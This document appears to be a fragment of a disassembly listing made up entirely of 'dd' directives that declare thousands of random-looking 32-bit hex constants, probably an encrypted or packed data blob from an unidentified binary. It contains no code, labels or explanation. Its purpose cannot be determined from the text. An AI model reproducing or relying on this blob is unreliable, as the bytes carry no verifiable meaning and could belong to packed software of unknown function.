		dd 0E323C427h, 54AE00ECh, 0C9BE6D1Ch, 9900CA6Ch, 0DA2B5328h
		dd 17B29Ch, 4D050F06h, 52D1BBB5h, 24C9E930h, 988B1Bh, 747340C2h
		dd 949C1512h, 9F22E200h, 0F809A48Eh, 5CA6025Eh,	30D22A14h
		dd 0BEC82C40h, 2F00CB79h, 4B9E7D45h, 0BF130A21h, 0C6947C80h
		dd 41003840h, 7B616937h, 546FD911h, 0A7BD47h, 21E4EA3Fh
		dd 0DF887055h, 6826DD0Ch, 7EFCEDh, 382256B0h, 4036CF9Dh
		dd 6E44900h, 0BB244582h, 78BD18B2h, 0D43FBE8Ah,	0A0D9C31Fh
		dd 48C27301h, 520FF84h,	5E1200F0h, 7AF60CC4h, 0CA513890h
		dd 3124F4F5h, 573AACF2h, 9F96871Bh, 3CA1A161h, 5680ECF9h
		dd 934253BEh, 35073FC5h, 0CD9B343Eh, 0B5503A31h, 63606AFCh
		dd 6B70D47Eh, 13E10084h, 29983F1h, 9DAEC041h, 0A27F4EA6h
		dd 0A0E22024h, 0FEF312A7h, 2BE09FD7h, 1304FD68h, 0FF362BDAh
		dd 0C00E00FFh, 3CF95E55h, 0B7107C60h, 5B45630h,	0F857D0Bh
		dd 720FCCEh, 7604EE6Ch,	0BE607940h, 8A410734h, 842E4ABCh
		dd 6096C7A3h, 0A7C41D53h, 7B161872h, 5D004849h,	0C9845146h
		dd 3BDD008Fh, 0B25321D0h, 0C32DCDC4h, 555FE917h, 0A55F237Fh
		dd 9C01EDDh, 175E957Fh,	9E17FC01h, 0FDC015E2h, 424C0243h
		dd 49F8788Ah, 1B0A70FEh, 0B80F7CCCh, 0D7FC5339h, 4BFA8903h
		dd 1100DF56h, 5E7E75E0h, 6D956Bh, 64B96903h, 81776C1Bh
		dd 2A0CC57Ch, 21EDD742h, 98C17819h, 16EE0090h, 9929745Eh
		dd 93008DA6h, 63B88679h, 30766B1Ah, 43B8B082h, 440029D8h
		dd 5567A4A6h, 9B9235h, 7156BF91h, 749718D0h, 1C13C90Fh
		dd 2488BE6h, 5540F528h,	56AB7680h, 0B4E81618h, 58A09500h
		dd 0E92441F9h, 3C94007Eh, 7710AAC6h, 175159A9h,	6650C8F8h
		dd 0AC5AE700h, 0DF81716Dh, 1672ECh, 8351EA84h, 0D4615682h
		dd 71EE5300h, 786F80EBh, 0A8C8033Ah, 0D8A066BEh, 5D506AE8h
		dd 2C00A676h, 0E9897A48h, 34EB4F2h, 40EF8822h, 4500EA4Bh
		dd 145EA5CDh, 5F1E03h, 0EF4C2250h, 26DC1A11h, 50768D25h
		dd 0D0B54A27h, 8856F3B8h, 7467795Dh, 2E00327Dh,	28B561ECh
		dd 4A645B67h, 0E809A20Ch, 0E6890856h, 0EE61BD55h, 4CE835Dh
		dd 58F24434h, 32DC9D63h, 52176053h, 5B410F14h, 328EB951h
		dd 0CB016360h, 0EB30C159h, 81060603h, 49181DF3h, 0DE89827Ch
		dd 0D4FE545Bh, 4C48306h, 4DA8013Eh, 0E98126E1h,	10D80A0h
		dd 593189D9h, 5B84C9FFh, 0F06B21FEh, 10CFDFE1h,	900690C6h
		dd 0D7E90067h, 9EFFFC48h, 0D4B83EA0h, 0CBDFCC5Fh, 239F8E4h
		dd 62BE8042h, 248A4DF2h, 681038DFh, 3A7DE2Ch, 7D223108h
		dd 3BC07B92h, 7E00B459h, 7D255EAh, 0E5D5F82h, 306C1732h
		dd 2B6F3F00h, 0C008BE2h, 5143C01Ah, 0FAD76621h,	0F0BC0040h
		dd 0F47C852Fh, 0DD2C753Ch, 7A0FCF5Ah, 0FA05001Bh, 34E7D58h
		dd 0E73A7466h, 0C0858384h, 0C6370490h, 6AE8C200h, 2E7FD61Dh
		dd 1AD300A3h, 0EDB2F066h, 830F8A3Bh, 608D6F11h,	6AAA1096h
		dd 607C2D31h, 0DC00D137h, 0B35497CCh, 0AFF80923h, 4ACC4349h
		dd 0D4DF96h, 2F61E8F4h,	46D7CF0Bh, 21F8AC0Fh, 0C722498Dh
		dd 641A6415h, 0DDDAE7C0h, 0F7D60919h, 0C661FC60h, 0BD610332h
		dd 0FC8624BEh, 7D746292h, 0F4CE5C16h, 4031751Ch, 0BE665FC0h
		dd 0AA8BADECh, 12145E64h, 0F2FAD932h, 2FC27629h, 8B5B744Bh
		dd 0B6A021E7h, 61010CB1h, 0CF0EB866h, 3A5CC28Bh, 81951009h
		dd 60611734h, 57E387F6h, 2043D2E0h, 72AA624h, 0C01ECD69h
		dd 72F442ADh, 0B2B67BB8h, 0BDB7E80Eh, 0BF42D91Eh, 5C614909h
		dd 86BB40D3h, 361247D7h, 0E510FD9Ah, 35905AE4h,	3591D8B8h
		dd 0B416176Fh, 953433BDh, 0B61AF9F9h, 0D0947B2Eh, 0E71CCAC5h
		dd 3E016C75h, 0F8DBD89h, 0A5955D8Eh, 83BE2C10h,	0C434720Ah
		dd 8D0D845Ah, 0A969B3A9h, 7D4087EFh, 0E0E2DF26h, 391D0594h
		dd 0A7D68B9Bh, 321AA2DEh, 0DCB10077h, 90BD378Eh, 0DC459E1Bh
		dd 25A951Fh, 7C34D640h,	17D36C2Eh, 0DD85C7F8h, 0E6E7F77h
		dd 0FBC05500h, 2BE56D1Bh, 122856C8h, 0B834B961h, 0F18D00DBh
		dd 6B867782h, 70EEB89h,	16E99D61h, 96C027DEh, 0B18589F1h
		dd 0EC772C4Dh, 0DB725Bh, 26BE1EAh, 75E9C18Bh, 9A323D4h
		dd 50A8D88Ch, 6A3544DCh, 0B5FF0105h, 18A9231Dh,	2D81A90Eh
		dd 96D018DFh, 8B800375h, 0EFC108FEh, 40D680Ch, 2C8AA20h
		dd 9F0DF457h, 95FF6D02h, 0BDE91A85h, 85C60B66h,	560260C9h
		dd 30DF0D68h, 0F17EA9C5h, 1D141A22h, 292A0E32h,	6A503190h
		dd 0A056057Ch, 610E126Eh, 0A0E0C1C3h, 1C8F4FEBh, 0ABFA0025h
		dd 0DAC6A108h, 0D4F4A4ACh, 0B85CD238h, 34CE03E4h, 0A81BF531h
		dd 7929B327h, 0DD5B03D1h, 17E62AC7h, 0A1DFE7E7h, 0C2A6DB67h
		dd 8700019Fh, 2352DDB4h, 9ED93820h, 0A92EE944h,	0BE5211h
		dd 4DAC4F71h, 9A15BD83h, 12F2BE4Bh, 0B011E741h,	0E2C2AD97h
		dd 0B90B1D51h, 89D302FAh, 4F68218Dh, 0EC3ACF81h, 0B84814DDh
		dd 0E4B5054Eh, 52E904C2h, 0FB71620h, 105DC4CAh,	2451AC18h
		dd 0CF097588h, 6D18912h, 53501374h, 0D0B82E38h,	9D8D81C4h
		dd 402CB93Dh, 585BD3F2h, 11411CACh, 0F18A1A0Ch,	0BA126618h
		dd 1204BF7Dh, 0EFAC1859h, 0A882ADD6h, 0CDC438D5h, 2C2E3C8Bh
		dd 0EAD13903h, 173B87F4h, 0AB06B439h, 2B1F796Eh, 0A6BB858Eh
		dd 0B19F0A57h, 905A81EFh, 2E8A0F50h, 0DDCB9633h, 58C0F79Bh
		dd 60653445h, 2E858B3Ah, 0FE467227h, 594243C6h,	0FC65ACFAh
		dd 48500EDFh, 2DA1D7AEh, 6E0B5688h, 0F959E223h,	0C42A95B6h
		dd 0C0D89BB7h, 0CAEB332Ah, 5085042Dh, 815F2CB2h, 20F51F0h
		dd 25394123h, 434A8B03h, 57807C9Bh, 90F607A6h, 0D5E2100h
		dd 4EB94F05h
		dd 0B5E250FDh, 986D5485h, 0FAB7300Fh, 2AB6086Fh, 0A8811EC8h
		dd 0FFE21215h, 0C9620435h, 94DD8C1Bh, 9C28188h,	70355C0h
		dd 2A4783B1h, 8480A8DBh, 3DAC67E2h, 5E938D0Ah, 103BFACFh
		dd 680216D9h, 8489B9BFh, 63405AD4h, 902FCB29h, 0BAF8008Dh
		dd 64B21132h, 831460CAh, 4DB8178h, 5010EE13h, 0CD984594h
		dd 0D60C989h, 8019D394h, 0C830BFDEh, 0E7ECD931h, 51787389h
		dd 89089463h, 74B9E8h, 311A5BABh, 22C40BFFh, 5F0A0821h
		dd 92D08A1h, 3AB9AC65h,	0DB75F4C0h, 0C400BEADh,	0EEE1F73Ch
		dd 151EE205h, 0B0AA5091h, 618D2BC1h, 483910Ah, 0B5E212h
		dd 0F98B52BCh, 2691505Fh, 930F5617h, 0C7029259h, 934241B9h
		dd 4BE47EC6h, 69ECC858h, 252D33Fh, 0EEEA0692h, 8299B2F8h
		dd 9417F556h, 9C8A299h,	0DCE25E95h, 40E43E00h, 5532B6EEh
		dd 95311850h, 605A7369h, 0CBB58978h, 35BDB15Eh,	0B6886112h
		dd 9E0249AFh, 0B9874424h, 0FF6458A5h, 41E4959h,	6457DDDCh
		dd 4126748Bh, 60170568h, 0BB87003Ah, 0C28B7288h, 42A6149h
		dd 59BF5634h, 0FEB834E9h, 678CC500h, 0D266A126h, 0CFE61980h
		dd 9579DC51h, 82BC5FCFh, 5105E980h, 0A53A4ADh, 52C527EDh
		dd 0DC25FEh, 0BBC9F42Fh, 0CDF2D875h, 5BE73B51h,	41BBC0E5h
		dd 566F9C4h, 79BA397Ah,	8FA4E893h, 3AE70076h, 1E55BC29h
		dd 0E20447h, 72DB44DDh,	0EAA283AFh, 4176E009h, 659A0EF4h
		dd 8180D28Bh, 0A9DFDDF7h, 24F92656h, 9012F26Ch,	7083A030h
		dd 3BDB4C05h, 0F7BBD100h, 61405EB1h, 52025071h,	3ECE96BFh
		dd 1DD1F422h, 29360809h, 0B901B529h, 698C1386h,	0A7B581E7h
		dd 0EE7EB423h, 9587482h, 3BF0FEABh, 379D5146h, 0F7D400DFh
		dd 1FB0AF69h, 496BC60Ch, 4DBDC057h, 333B6B61h, 0D6726925h
		dd 83C6E2B5h, 0D43BBF17h, 1214233Bh, 8D9802CAh,	23272155h
		dd 0D9B87975h, 163B1D51h, 2CF2AC91h, 0B1A82B71h, 0B308292Eh
		dd 0A9198D46h, 0B508CAD2h, 4509AD21h, 0B830AD49h, 224C0683h
		dd 190EE960h, 6B5A1400h, 0F77A1C2Dh, 0F5CB003Fh, 36F20339h
		dd 0AC006861h, 0BF2F451Eh, 49B4349Eh, 3D01FA7Bh, 8B5CD00Bh
		dd 4ADE4ACFh, 8B148F6Ah, 0E6A4C5CAh, 8C53A0CCh,	406C28B5h
		dd 8114FFA2h, 3398E885h, 0AD2F00EBh, 9CD5B88Ah,	0EEB4B0Dh
		dd 34289544h, 8D45D420h, 1950DF66h, 46A00D3h, 0FF68ABB6h
		dd 0E5022910h, 928899B9h, 18EA72Fh, 0FF1AD6D2h,	0BF011EB7h
		dd 0B177B368h, 0F0D73D70h, 0B2CD9113h, 7DFC0102h, 0AF696CA6h
		dd 0BA015CE8h, 563E652Bh, 0DB485C22h, 0D9A8B909h, 0F36BFE76h
		dd 5759398Ah, 660196BCh, 7F6255C9h, 7379E965h, 8200113Eh
		dd 0DC4D84A6h, 27E0CBECh, 757DF500h, 0F925FBEAh, 8A6005A5h
		dd 0E9800FE2h, 0C25A78EEh, 300162C3h, 609AF913h, 3D4BB509h
		dd 0E5BEACC0h, 865014Ah, 8D95FF61h, 5118940Bh, 15D02484h
		dd 1A7D8509h, 0C7CAE9B6h, 19A175F1h, 0C03727A8h, 84F6E300h
		dd 17B73A9Dh, 4B26D96h,	142ACDA1h, 0FB09716h, 858F9211h
		dd 0F08A8BE4h, 0C9B9C781h, 4E7492Ch, 0D0DF27E4h, 5F46F803h
		dd 517482B5h, 66900014h, 492F01BFh, 424450h, 5C6FEDEAh
		dd 18647844h, 0C409E100h, 3BFBA081h, 0FC211EFEh, 0AC9054F4h
		dd 824D0B27h, 84BA32C0h, 48664BE1h, 77BC4A3Eh, 9026D4Ah
		dd 5888B650h, 20D19817h, 0D28A05B5h, 1EA2DC0Bh,	91D98F0Fh
		dd 8DE56998h, 2D5454B5h, 961340B9h, 1244D498h, 0E2EB06Dh
		dd 0B1621FACh, 0DC388D00h, 9F039669h, 0E3F4B9FDh, 2042BE59h
		dd 906508B5h, 0A30350BAh, 5882F2BAh, 60809F90h,	1FEDB529h
		dd 4D08B3B9h, 0C00B8921h, 7E151A57h, 0C0C10C7h,	0C7075CE9h
		dd 18612C9Dh, 0C5264C02h, 0B59251DDh, 6EBB4E25h, 0AC940021h
		dd 0EC1ABC78h, 8BC4C5E9h, 0C14AFCF9h, 1A898D31h, 20465207h
		dd 5DC9AF6h, 0E3A968D5h, 221A8CB5h, 82EED400h, 0EB187EDEh
		dd 13697139h, 132838B9h, 0E096B68Fh, 7B44394h, 84D1239Ah
		dd 6F843976h, 0EE2095C8h, 0F700436Eh, 97392105h, 5D73BF9Bh
		dd 0B528B590h, 0F291F796h, 6CBAF500h, 0A8145620h, 881684EFh
		dd 680526BFh, 6EE955FCh, 9457AF55h, 1991102Ah, 207E800Ch
		dd 58788420h, 40404F95h, 0E0E2FF92h, 9A6495h, 7A5886D2h
		dd 0DDA1DF3Bh, 0D892AE00h, 51EE7599h, 645A097Fh, 7682E1F2h
		dd 5F022301h, 0DCC07C60h, 0C142B02h, 4AFC36FAh,	0DCECF41Fh
		dd 0D14FD300h, 4DE6C418h, 81800136h, 62F7F2CFh,	79D23075h
		dd 16F98491h, 0B322C19h, 0F10176E9h, 4D211047h,	0B7402D89h
		dd 5A3500B5h, 0EA0EB722h, 7C5A658h, 80AC9DC1h, 0F5C2A184h
		dd 80FBABC9h, 5FB86089h, 96400D6h, 2AAFFBEh, 0B1B1617Ch
		dd 0E8B0632Ah, 7932A120h, 7874BB6Ah, 81B0DC77h,	4CA5584Dh
		dd 23D60436h, 0D5F0D18Dh, 96536C90h, 84C6CE20h,	0E5886160h
		dd 0E3B5F9F3h, 44468126h, 9C414AB2h, 46FEF6BFh,	79553640h
		dd 497100C4h, 342C22Dh,	750016ADh, 0C83CD181h, 5F8B457Bh
		dd 0E0E3A6D8h, 18A229Fh, 0CBDF347h, 8009E9ADh, 4FD6021h
		dd 2CDBCCE0h, 92BDC53Ah, 589EC239h, 0FC71BAD3h,	90D601F4h
		dd 9F520ACh, 0F2DB0B24h, 222B3B1Bh, 0B900050Ch,	1E29BC77h
		dd 0E10456E9h, 0C0FDDB3Eh, 901315CBh, 0F8620BE4h, 0E9849254h
		dd 3D46EB85h, 0F27C3880h, 0C600958Ah, 0E5A8B1B9h, 30E9321Ah
		dd 0B7FDC84Dh, 0B5331260h, 487FD2CDh, 80A3755h,	1D08639Dh
		dd 343B1210h, 4240C2E2h, 0BD0A9828h, 5C14551Eh,	0EC332293h
		dd 18FB66BFh, 0B54BC22Fh, 0EDA62D85h, 466067E0h, 5107D708h
		dd 20F10256h, 475B4053h, 3F16B970h, 21CBBD83h, 350C84CAh
		dd 0C0245B32h, 0F602674h, 0C2E20580h, 0A002B190h, 2BEFD6C3h
		dd 0B28BE49Bh, 35B6D58h, 91B65721h, 3A0B0D28h, 0CB445038h
		dd 7D2D721Ch, 78538D4Ch, 905901D3h, 0E2947ABAh,	3483137h
		dd 0B8429EDh, 8407FE50h, 0D93B6DBFh, 0C0E32018h, 0C84A7638h
		dd 7E7048E6h, 90339924h, 7BFB44C4h, 6153007Bh, 0B2E9C920h
		dd 0BD3D9502h, 0D7F06598h, 0A616D2C6h, 63C7E0FFh, 0D29F0DC5h
		dd 29EE3146h, 80580246h, 6490A1C1h, 57D640B9h, 60ED5F41h
		dd 1EB1BEF4h, 0CC083B6Ah, 265D11E8h, 3E359800h,	1014AFCDh
		dd 0F6B00CCh, 4E540461h, 7097A840h, 0C96D9D21h,	7A5BCBC0h
		dd 1E6A02DCh, 1699BD03h, 0BF60EDA4h, 0BF4A8E23h, 0D3208BF0h
		dd 0BE6605BBh, 4B61F857h, 1414F5FFh, 7860D0ADh,	26206DAh
		dd 18EFD52h, 0F1F2218Dh, 10ED9519h, 6E2AD80Dh, 0B13C81h
		dd 7B5E67F4h, 4DEF4A5Bh, 470103A0h, 71B5293Bh, 0B2D65105h
		dd 5F502235h, 0A63974B5h, 89093BB8h, 0AB63E9F8h, 8061370Ch
		dd 3F4C088h, 6E96358Dh,	8B519001h, 0DF265AFAh, 6AE41801h
		dd 633E8E45h, 0A4C11EB7h, 61785C0h, 0BDC4C5h, 3BF4F167h
		dd 8D8B905Ah, 0E8B5FD54h, 84350F60h, 0C17361h, 40D5C41Dh
		dd 375E4BA9h, 9E40D10h,	255B2D38h, 0B993E4BBh, 0CE2412EEh
		dd 71110978h, 0A8FCBA02h, 8C5A7D3Bh, 949E594Bh,	617186C2h
		dd 4958DE80h, 0D99C055Dh, 7BEA0164h, 45F90267h,	70499503h
		dd 85E927D2h, 61CAED90h, 796B797h, 40E38FE6h, 0FE5D32Ah
		dd 66318C4Eh, 62070B39h, 0C148A59Dh, 1C2FC681h,	0D062FB01h
		dd 0A801DF2Ch, 0CE9BE4Ah, 6DC6FFF9h, 22E0EE6Dh,	66577F7h
		dd 0F168BB02h, 0D50B6FEFh, 0C2DDBD90h, 0AA649213h, 0E0B17A0Fh
		dd 0B73E5FB0h, 0FD570BBAh
		dd 0D65EC121h, 3CB5F11Fh, 15B89FF9h, 2D023C74h,	11BE7099h
		dd 19645DC6h, 33A4619Dh, 0C44B1205h, 989BBAA0h,	0BD31F3C0h
		dd 298023A1h, 5E13795h,	0B8C86B5Dh, 6409CA81h, 82398F5Fh
		dd 432A9F9h, 0F3498D8Bh, 992519B3h, 0C04620E8h,	8A1F0h
		dd 0E87602Eh, 5059F83Ah, 0C8F311A8h, 11758A00h,	73B89833h
		dd 0A03104B9h, 0B25A5EB4h, 16E51017h, 1FD0E24Eh, 0CA800A96h
		dd 7E1F9820h, 0FBA7076Fh, 19AE21C0h, 9CB76771h,	0E7983275h
		dd 4CB560h, 1B5DBD18h, 984C9EFh, 6148D4E5h, 9F952870h
		dd 8019118Bh, 0DC72675h, 0F1714F4h, 81013A8Dh, 0A07614E2h
		dd 5902074h, 6820265Ah,	2650FF53h, 560A9B5h, 221F8DBDh
		dd 0D289B1CCh, 0E1E49ACDh, 0C72A8CBEh, 6265B900h, 0C08B543Dh
		dd 76BD97F9h, 0A3ACA411h, 0DCC49E8Eh, 755CAAFCh, 20B53948h
		dd 0EA811C14h, 62954DB0h, 0F0C426ACh, 970B891Bh, 58128CD1h
		dd 1EE03FA6h, 3302A2E9h, 0C2D38BE3h, 27375508h,	0BD2B6681h
		dd 0C83E0879h, 5490D06Ah, 6F7E9C41h, 68097036h,	24B84A2Ah
		dd 600B10E6h, 2F680A2Dh, 0F1D0B6Eh, 0FC690936h,	336AC374h
		dd 22194356h, 909ADC38h, 691F5027h, 0E239BB49h,	71202817h
		dd 0D33F2258h, 21031D6Bh, 0E95150BEh, 5BBFE8B0h, 6D603B1Ch
		dd 23D88A81h, 8D34F18Dh, 85310961h, 7EFA2015h, 4612DD27h
		dd 0D4D19CE8h, 0B71C5802h, 0DF26C4D8h, 2CCD0802h, 31E80209h
		dd 4CE80209h, 2B54BA6Ah, 0D1CF00DCh, 0E053F698h, 7C124C45h
		dd 0E1B25206h, 98AD6500h, 1E71B3E2h, 0F97A2600h, 315FA90Ch
		dd 2CE5300Ah, 3118562h,	746F2A5Ah, 669F7909h, 100B065Fh
		dd 8E02DD9h, 24F941A2h,	0BA1D6A0Ch, 58B795F9h, 0F883E000h
		dd 382940Fh, 316DAFFCh,	6D4CAAE8h, 66DE7FC8h, 0CDA72CECh
		dd 0E4E2C0B3h, 71006CF4h, 0F5E0B901h, 0C477E8FCh, 0EC8E0F67h
		dd 72CECC99h, 2C279ED9h, 2C00DED2h, 0E4250CB5h,	126634A1h
		dd 43308BEh, 4D1F1915h,	6E2B8137h, 0D8512504h, 0C50D5281h
		dd 0A7FD412Eh, 0B702B537h, 58EDE8C7h, 0AE3797D4h, 348B0700h
		dd 4B6AD793h, 3F61B1F6h, 13BD4405h, 4FDD7AAAh, 4055FCE0h
		dd 9A25E822h, 0D071D307h, 7F12A9ECh, 6DC8F9A2h,	2723F6D4h
		dd 0D3D38D83h, 174DBEB1h, 75D7B8Bh, 99D0735Bh, 6AED0667h
		dd 5AAC1034h, 81805576h, 0B9507D7h, 94E8439Ch, 0B87AEF07h
		dd 6D5AFF30h, 0F3952A19h, 207F7A4Eh, 0B4608547h, 6E12BE8h
		dd 3CF67949h, 5D8E8000h, 317A2154h, 99AA4E3Ah, 12600313h
		dd 0B910710Eh, 0FBC09FBAh, 0DAE3D8ECh, 687A03FFh, 890F63A4h
		dd 58252170h, 93876261h, 123EF711h, 276FEAh, 0DA7AC146h
		dd 1DA1AF80h, 81604F8Dh, 9D01CBD7h, 61FC34F1h, 7362C9F4h
		dd 7402FDB6h, 9300F426h, 5AC06E80h, 4CEDFE4Fh, 0DC7A8A3Bh
		dd 0BD010EC5h, 0AC930E2Ah, 2D5D0C94h, 137BE885h, 4030EF95h
		dd 0C48786EBh, 570DC6CDh, 92B8A97Dh, 0B5E239h, 5088BA2Eh
		dd 97C88BBBh, 84528490h, 578DB900h, 0E84E6EE6h,	9D0570B6h
		dd 91792B73h, 0E6CBA02Ah, 0C06DD131h, 0E80328E1h, 0AA055970h
		dd 46023C01h, 0D06420AFh, 0F0E61C8h, 40915907h,	5E9B7D2Bh
		dd 916E69E8h, 4FDC48D6h, 8A5BC162h, 9D8E89CFh, 71C5C823h
		dd 3C9BCD19h, 0B8717D65h, 89F003F8h, 837EEB97h,	16A4C97h
		dd 0DB256A96h, 0F2F7702Eh, 0EE9C6265h, 9BAEE0D4h, 4C688257h
		dd 594BC091h, 0DB408222h, 51B111B9h, 4AC95D3Fh,	0DB8F5F9h
		dd 8064E102h, 0DBB09EDDh, 857378F4h, 31098602h,	0DF222595h
		dd 0EA4D46B2h, 93028360h, 0A71B16E5h, 5A36FC97h, 0DA07FC7Ah
		dd 1ABE8EEh, 0E68B77C7h, 78E3B96Dh, 0CFAFACB1h,	0C0198829h
		dd 0D550A274h, 0C29D93FCh, 58B7D7C9h, 633CF000h, 1DF768h
		dd 0D82B846Ah, 60575093h, 0D825B12Dh, 9597AB5h,	2201BD89h
		dd 0C835B3D7h, 29BCB05h, 3D7D6D43h, 1877EE14h, 3ED3B90Eh
		dd 5BADFB02h, 3570737Bh, 0B0E04BA8h, 748206F8h,	95093C77h
		dd 3C4F1121h, 0BBFB2040h, 2905002Fh, 1A899535h,	0D21392BFh
		dd 0A3A22801h, 0E88FE500h, 137C6732h, 0A6B3690Eh, 199B806Bh
		dd 2037074h, 89F4951Bh,	0B7D70442h, 0CFF50081h,	979CF791h
		dd 29A9DAC2h, 0DE5AD42Ah, 27579400h, 953C0222h,	0DCD46B6Fh
		dd 79C01CCDh, 13975AB8h, 0A1ADB52Bh, 0B7EBA722h, 3E9600ECh
		dd 0D7115128h, 0D84FA0E8h, 8700B9A2h, 7280E7EFh, 6E051AD6h
		dd 9DA7717Ah, 1F8B08B8h, 0D9F78910h, 0F2CD5300h, 0D0ADED90h
		dd 9E035019h, 0F70E4B6Dh, 0CBF9A064h, 84230E5Fh, 9DD48BE8h
		dd 0E5CEB64Bh, 0FE783EAh, 0F87016FDh, 0B905D2CBh, 0A8743035h
		dd 2C04A9Ah, 0BF0FA95Ch, 80732128h, 0D3269D24h,	850094E5h
		dd 0A7C6B309h, 5B1430D8h, 81BD8BD8h, 6F421655h,	38B68506h
		dd 0F74D5D4Ah, 0BFBC0159h, 0F7A08B4Fh, 0CE89B622h, 0AA88E4C0h
		dd 7D760A39h, 0C181B900h, 162E7684h, 0D503B55Eh, 9B7609A1h
		dd 34889149h, 67B6B861h, 0A28AAFE0h, 82629601h,	0E6E05ECAh
		dd 1B696888h, 25099585h, 0D8288734h, 1194129h, 39233D8Eh
		dd 14C2E8E2h, 0DC566C7Dh, 0D65FCF18h, 0D4FBED80h, 2249058Dh
		dd 466BD60Ch, 0E20F9A3Ah, 18A3F53Ch, 0B617AC81h, 467B0C05h
		dd 6AD6791Eh, 0E06DB5C2h, 619E54C0h, 7A5C0585h,	0AE9C8937h
		dd 0CE997C20h, 0A6590EE2h, 5E0AE6A1h, 0CB0F9086h, 7D0C8901h
		dd 0EE51C90h, 5555C9A4h, 0C9AA03CFh, 0BC39A44Dh, 0D35E2CCFh
		dd 0B6753532h, 0B2ECE079h, 67012B1h, 0E93304D8h, 0E7810032h
		dd 7A9B737Fh, 357D6048h, 2751BF66h, 6FC6CCDh, 45F06A36h
		dd 377BACE1h, 8973291Ch, 33499D45h, 0B17985A4h,	0F551862Ch
		dd 26C50A5Eh, 0AEE40E5Dh, 0E7124A61h, 0F280A044h, 0F2F1285h
		dd 4292C988h, 36522699h, 172C6520h, 0E6C58AC3h,	0A5C0E01Fh
		dd 0E78A14C2h, 538B1B5h, 855A0FC0h, 0FEFED3CCh,	78AF9BC0h
		dd 0B300E738h, 88E67E4h, 5B78BE66h, 10DC7A17h, 0D0881A01h
		dd 5B2084D6h, 26DC2971h, 7630B045h, 291195F5h, 42EDD427h
		dd 9D5BB400h, 10D8237h,	4F0133Dh, 0E05FB6B5h, 1DA8485h
		dd 3A784AEAh, 45F04E44h, 434BE8Eh, 0BF8E24EFh, 5B9014CCh
		dd 0E24E9450h, 2993053Ah, 3181D99Bh, 28F8ED8Ch,	0B189974Ah
		dd 660E9070h, 0D6A09EBBh, 48BC3AE9h, 0BB54DF01h, 8211E256h
		dd 5937AC8Bh, 0BF1603F8h, 91F9C8E4h, 6F8B719h, 7EAFB1DEh
		dd 0B6BA3614h, 0C91C13FEh, 8FDE329h, 0A713D585h, 0E2820E37h
		dd 51E14BAAh, 8CC90255h, 9C77262Bh, 176D0984h, 15292B5Eh
		dd 0F7B75Fh, 0F91047A1h, 2909369Ah, 551675BDh, 0D05BD33Ah
		dd 43682271h, 9F068180h, 0E51C482Dh, 54658D62h,	0CDA161E4h
		dd 8467E060h, 614B7404h, 0DCBDD1FFh, 1826CAB8h,	0D1121F97h
		dd 32AA26C4h, 0C50601C9h, 7378BB33h, 0B8483AE8h, 0AC508301h
		dd 0DE8B4F4h, 5E5DA810h, 1A8F96B7h, 2712860Fh, 840084D1h
		dd 39173E3Fh, 62233EFDh, 1F1A6100h, 26A5B80h, 8C78D4BBh
		dd 6460BF63h, 0B18B2B65h, 90103505h, 0DC12A2BFh, 705019D6h
		dd 0B4F8C0D5h, 242FAC39h, 2DD3E26Ch, 6075344h, 925B631Dh
		dd 7262E630h, 9510070h,	0D300FD4h, 0E92F43B7h, 5B24845Dh
		dd 0C608DF94h, 372BA879h, 0C995135Dh, 0E985E85Eh, 2CBF0D86h
		dd 595B412Fh, 0D980A59Eh, 4A9339E5h, 131C3776h,	8A9252B7h
		dd 96C4FE02h, 0DF81012Dh, 2090FD7Ah, 0CC2418F4h, 8111450h
		dd 0A746572Fh, 0D1905F21h
		dd 16C51817h, 8853EBDh,	0C4AD1CA4h, 70222574h, 2600BA4Ch
		dd 0BC0451Ch, 604385DEh, 3A1AA0B7h, 0FF25645Fh,	0F05BD335h
		dd 52C6ED4Ah, 4594A81Ch, 402319h, 0E379EAA3h, 79F4505h
		dd 54C19852h, 66265035h, 0C303A259h, 8964551Bh,	70EE8525h
		dd 0D5C681CDh, 0A0DA9A0Bh, 0E866D45Ah, 0AB00D6E8h, 0EA0DB52Fh
		dd 26A2E123h, 0DE4FFF6Ah, 0B589D809h, 0B77A471h, 572F4AE1h
		dd 9BE8D440h, 2159C1E4h, 123E3345h, 0E92B82AEh,	891B27F5h
		dd 74B87DA4h, 0B510B030h, 2B800B49h, 2D012D9Dh,	7EFD40F2h
		dd 10AF68F1h, 99BE4FF0h, 0B1BD0102h, 4CB1FF33h,	1F87BBCFh
		dd 0BDCEC8B6h, 0FF241A55h, 0D7812918h, 8B7B8C0Ah, 1660F5C1h
		dd 78A3B27h, 0F63C3566h, 0D487902Fh, 0CB02253Dh, 0AE7D64FBh
		dd 9772D0F2h, 41B7641h,	988357F1h, 29C82BFAh, 0A05FF1F2h
		dd 8DBFD182h, 3E9827F9h, 0F51F15D1h, 0F7D18553h, 51315157h
		dd 5B5F5701h, 0BC07C560h, 29524023h, 8017744h, 0AD56BCD4h
		dd 26B883CBh, 0E185090Bh, 0BD31BFD2h, 0D03B49CDh, 21108C42h
		dd 7A3DE9FCh, 0C215EB8Ch, 7131BBC3h, 82F49A5Fh,	5F269909h
		dd 1E84F498h, 7CCF8088h, 18A55036h, 0DBADA0FEh,	89732D88h
		dd 5C0D6513h, 3BE9B21Eh, 26B58DC0h, 3F3ECE81h, 36B34104h
		dd 0FBDBA167h, 4E552AFAh, 8C0F1286h, 8170AF21h,	0E9E75C9h
		dd 0A06E20D0h, 475C095Dh, 4E2110D7h, 2EDC0787h,	0C1BC068Ch
		dd 0C45B3ED9h, 0B924FE8Bh, 4CA7D20Dh, 0F5B51418h, 0FC1C7A04h
		dd 25F4BCB3h, 2FD8F98Bh, 0F4F3BCh, 71AA30D6h, 873EAF77h
		dd 0D22B4C14h, 0C06D3AFCh, 0C23318ADh, 83D05AD1h, 7504E90Ch
		dd 529124F4h, 4910F023h, 95010C07h, 0B50D0D7Dh,	0B453C5C2h
		dd 297DF78h, 0BE1684F1h, 8CB37EFFh, 7CA5D3A8h, 6D78AB2Ch
		dd 6801FE25h, 277D16F6h, 33E86E69h, 0EBD3BF01h,	8D204AB9h
		dd 0E40A97DAh, 91EDA5F3h, 8B50BCC0h, 3718E4C2h,	8E08C103h
		dd 19649895h, 0B926A958h, 2C80230h, 7F013F0Dh, 0D06D128Ah
		dd 0ABA71FE0h, 91E50AC1h, 1295274Dh, 0AE5D2816h, 802EF53Bh
		dd 6EE9F2DCh, 1EDFDB8Fh, 522B37BBh, 1025E83Fh, 848E0FA5h
		dd 4D553D3Ah, 8CB1C536h, 811E1E4Ah, 6449A7Ah, 6C8DF537h
